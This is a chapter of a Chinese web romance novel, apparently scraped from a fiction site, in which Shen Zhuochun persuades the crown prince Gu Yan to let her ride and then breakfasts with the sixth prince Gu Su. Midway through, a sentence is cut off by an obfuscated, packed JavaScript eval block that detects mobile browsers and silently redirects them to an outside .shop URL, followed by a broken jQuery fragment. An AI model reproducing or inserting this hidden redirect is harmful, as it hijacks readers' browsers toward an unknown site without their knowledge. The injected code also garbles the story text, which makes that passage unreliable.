文趣网 > 都市小说 > 月名昭昭 > 9. 糍糕
    顾溯两口吞尽手里的蟹粉酥,拍拍指尖的碎屑,很是自觉地站起身,“三哥,我明日再来。”

    顾晏未置一词,目光越过小桌落在对面的沈濯春身上。沈濯春会错意,慢吞吞从凳上起身。

    “啧。”

    沈濯春立刻坐下,朝站在一旁的顾溯挥挥手,“我就不同你一道走了。”

    顾溯看着沈濯春,无声说了句“明日见”。沈濯春眯着眼睛辨认片刻,了然后点点头。

    许是二人小动作太过显眼,顾晏敏锐回头看向顾溯。顾溯立刻恭恭敬敬地朝他行了一礼,施施然跟着渡秋退了出去。

    一下子少了两个人,气氛陡然沉闷起来。

    顾晏双手抱臂置于胸前,一瞬不瞬地望着沈濯春。

    沈濯春被他盯得心里直发毛,轻咳一声,绞尽脑汁找了一个话题:“六皇子那块帕子,当真是几个月前藩国进贡的丝线吗?”

    顾晏嗓音凉凉:“我瞎说的。”

    眼见这个话题聊不下去,沈濯春底气不是很足地试探道:“那我明日......能和六皇子去骑马吗?”

    顾晏起身往书房走去,丢下两个字:“随你。”

    顾溯,顾溯,怎么又是顾溯。

    沈濯春亦步亦趋地跟进了书房。顾晏坐下看折子,她就把案上的折子往顾晏的手边推了推,给自己在桌上腾出一小块地,支着下巴看他。

    顾晏提笔蘸墨写批注,沈濯春就自觉拿过砚台磨墨。只是手法生涩,顾晏悬着的笔尖都要干了,她才磕磕绊绊地磨出些许墨水来。

    一通忙活下来沈濯春只觉口干舌燥,悄悄探身到桌前倒了一杯茶,刚抿一小口,眉头便瞬间皱起。

    好苦。

    顾晏轻咳一声,沈濯春立刻领会其中暗示,殷切地斟了一杯,思忖片刻又从袖中摸出两颗蜜糖丢进去。

    顾晏接过啜了一口,含在口中咽也不是吐也不是。甜甜苦苦的味道交织在一起,奇怪的很。

    余光瞥到沈濯春满身期待的眼神,还是一仰头将杯中的茶水饮尽。

    顾晏瞧着沈濯春步伐轻快地将杯子搁回去,就知道沈濯春献殷勤结束,接下来要开始验收成果了。

    果然,沈濯春放下杯子,装作很不经意地溜达到顾晏身侧坐下,而后一把抱住了他的手臂。

    开始撒娇。

    “求你啦,顾晏,我就骑一小会儿。”沈濯春伸出两根手指比划一下,指间的缝隙窄得几乎可以忽略不计。

    顾晏从鼻腔里轻哼一声。

    “哥哥。”

    顾晏喉间溢出一声极轻的几乎难以捕捉的笑声,可沈濯春还是听到了。

    沈濯春时常会困惑。外头都传言顾晏手段狠厉,高不可攀,可在她眼里,这人分明就是一个有哥哥瘾的烦人精。

    顾晏偏头看着沈濯春,“只许骑半柱香。”

    沈濯春连连点头,心道天高皇帝远,顾晏还能知道她骑了多久不成。

    “我会让渡秋跟着你。”

    沈濯春立刻佯装委屈,“你不相信我?”

    顾晏几乎没有半分迟疑,闻言立刻点头,“沈昭昭,你在我这里的可信度太低了。”

    沈濯春深以为然,沈昭昭不服。

    “姑娘今日怎么这般高兴?”青鸢替沈濯春梳发,透过铜镜瞧见沈濯春一直没压下去的嘴角。

    沈濯春卖了个关子,“你猜猜看呢。”

    青鸢思索片刻,摇摇头,“奴婢不知。”门外的翠枝探进脑袋,“难道是后日不用去听学了?”

    青鸢没忍住捂嘴笑道:“若是不用听学,姑娘这会儿恐怕已经开心到天上去了,哪里还会老老实实坐在这里。”

    “哎呀,你们就会打趣我。”沈濯春从柜中翻出话本带到床上去看,“明日记得早些喊我,我要去骑马。”

    青鸢和翠枝闻言,一左一右蹲在沈濯春床前,仰头看着她,眼里带着掩不住的担忧。

    沈濯春慢悠悠地翻开话本正准备看,但床边那两道目光实在有些热切到难以忽略,她放下书册问道:“怎么了?”

    青鸢担忧开口,“姑娘,太子殿下当真许你出去了?上次你偷偷跑出去,殿下找过来的时候那眼神......太可怕了。”

    翠枝也在一旁附和着点头。

    沈濯春裹着被子在床上滚了一圈,将自己团成一个蚕蛹,每次看这些话本她都要这样裹着才有安全感。

    “当然同意了,他还能管得了我不成。”

    若沈濯春是只小猫,现下恐怕尾巴都要翘到天上去了。

    “姑娘明日是同谁一道去?陆二小姐吗?”

    陆筱近日都没见着人影,想来是去找贺听澜了,沈濯春识趣地没去打扰。

    “不是,是和顾溯。”

    “我是顾溯。”

    顾溯朝一脸戒备地看着他的侯府守卫挥了挥手,又低头瞅瞅自己今日的装束。

    不像坏人啊。

    他今日穿了件鹅黄色劲装,黑色的束臂套上绣着莲花纹,墨发用一截红色发带高高束起。

    也不像皇子。

    顾溯正与那守卫僵持不下,外出替沈濯春买早膳的翠枝恰好回来,正好瞧见站在侯府门前的顾溯。

    她试探着开口:“是六皇子吗?”

    顾溯点头,“我来找你们沈小姐。”

    守卫听闻眼前这位竟是六皇子,连忙行礼。“见过六皇子。”

    顾溯伸手扶着那人的手臂让他站直。

    他在塞北待惯了,回了京城倒是有点不习惯这动辄行礼的规矩。“带我去见你们小姐。”

    翠枝引着顾溯往沈濯春的院子走去,路上解释道:“小姐应当还未起,烦请六皇子在院中稍等片刻。”

    刚踏进沈濯春的听雨院,一股香味就扑面而来。院中诸多花香杂糅在一起,浓烈但不呛人,反倒叫人静下心来。

    顾溯这才知晓,为何每次见沈濯春,她身上总带着一股若有似无的香味。想来是日日待在这样的院中,衣衫发间难免沾染些许。

    “六皇子在此处稍候。”翠枝环视一圈,没在院子里瞧见青鸢的身影,“小姐应该是起了。”

    顾溯在石凳上坐下,看着翠枝从食盒中取出好几样吃食。

    一碗七宝素粥,几块枣箍荷叶饼,一笼蟹黄汤包,还有沈濯春近日里爱吃的糍糕。

    顾溯看着便笑了,“你们姑娘早膳能用这么多?”

    翠枝摇了摇头,又倒了杯牛乳晾着:“姑娘早上气血不足没有胃口,早膳用得极少。多备几样总能碰上她喜欢的。”

    怕顾溯误会沈濯春铺张浪费,翠枝又赶紧补充道:“这些吃不完的姑娘都会让我们分掉。”

    顾溯

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836254|211433||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    点点头,只消看沈濯春身边这两个婢女的穿着,便知她不是会亏待下人的主子。

    翠枝给顾溯倒了杯茶,又等了片刻,才拿起瓷勺轻轻搅动着那碗七宝素粥。丝丝缕缕的热气散开,顾溯眼见着那碗粥由滚烫变得温凉适口。

    片刻后,沈濯春就从屋中走出。因着今日要去骑马,她穿了件浅青色的窄袖衣衫,腰间坠着几串小铃铛。

    青鸢给她梳了条侧麻花辫,辫上点缀着的桃花发饰,是她前几日照着书上学着做的。

    如今真戴在了头上,她怎么瞧都满意。

    青鸢跟在沈濯春身后,听着那因沈濯春步伐轻快而叮当作响的铃铛声,不由弯了弯嘴角。

    自家小姐是个顶爱漂亮的主。从床上起来时还蹙着眉,等换好衣服梳好头发,把镜子放到她面前一照,顿时就眉开眼笑了。

    “晨安。”沈濯春坐下朝顾溯挥挥手,接过翠枝递来的勺子喝了一口粥,入口温度刚好。

    顾溯也学着她的样子挥挥手,“我应该没有打扰你休息吧?”

    沈濯春摇头,而后顶着三道目光艰难用膳。

    顾溯这下才亲眼见证了方才翠枝口中“不多”的份量,粥只舀了两勺润喉,蟹黄汤包纹丝没动,饼揪下来一小块配着牛乳吃了,只有近日喜欢的糍糕才用了一整块。

    沈濯春自知吃饭磨人,但眼下对面坐着还不是很熟的顾溯,她莫名有些不好意思,开口替自己辩解道:“我这是出游太兴奋,平时吃的很多的。”

    顾溯没有拆穿她,顺着她的话点头,“我昨夜也是兴奋,都没有睡好。”

    “真的吗?”沈濯春疑惑,“你这么爱骑马?”

    顾溯:“......”

    你说是就是吧。

    沈濯春又挣扎半晌,终究还是没能再吃点,拿出帕子擦擦嘴站起身来,“走吧。”

    她一走动,腰间的铃铛就随之发出轻响,顾溯偏头问道:“很喜欢听铃铛声?”

    沈濯春点点头又摇摇头,解释道:“是顾晏让我戴着的,久而久之就习惯听了。而且我不喜欢太沉闷的环境,这个能发出一些声响也挺好。”

    “晏晏,为什么要给我戴这个呀。”沈濯春摸摸腰间那一串精致的小铃铛。

    铃铛做成了铃兰花的样式,几朵铃兰间以丝线串起,空隙间还穿插着翠绿的叶片。

    顾晏沉默着替沈濯春系好,“你走路都没声的,每次想偷偷吓我都能被你得逞。这下给你戴上铃铛,你再也不能成功了。”

    顾晏没说的是,那日沈濯春去东宫寻他,他没听出沈濯春的脚步声,把雪砸到了她脑袋上。沈濯春皮肤嫩,那红印小半天才消下去。

    他暗自恼恨自己当时没有分辨出来人是沈濯春,便想了这么一个法子。

    如此一来,只要听见铃铛声,就知是沈濯春来了。

    “好好戴着,不许摘,我会定期检查的。”

    “顾晏不让我摘,我就勉为其难答应他了,毕竟我这么大度。”沈濯春和顾溯走到侯府门前,她径直朝停在面前的马车走去。

    顾溯“咦”了一声,伸手指向斜前方,“我的马车在那里。”

    那面前这辆马车是哪来的?沈濯春正想定睛细瞧,就见马车背面走出来一个人。

    是渡秋。

    那坐在车里的人,莫非是顾晏?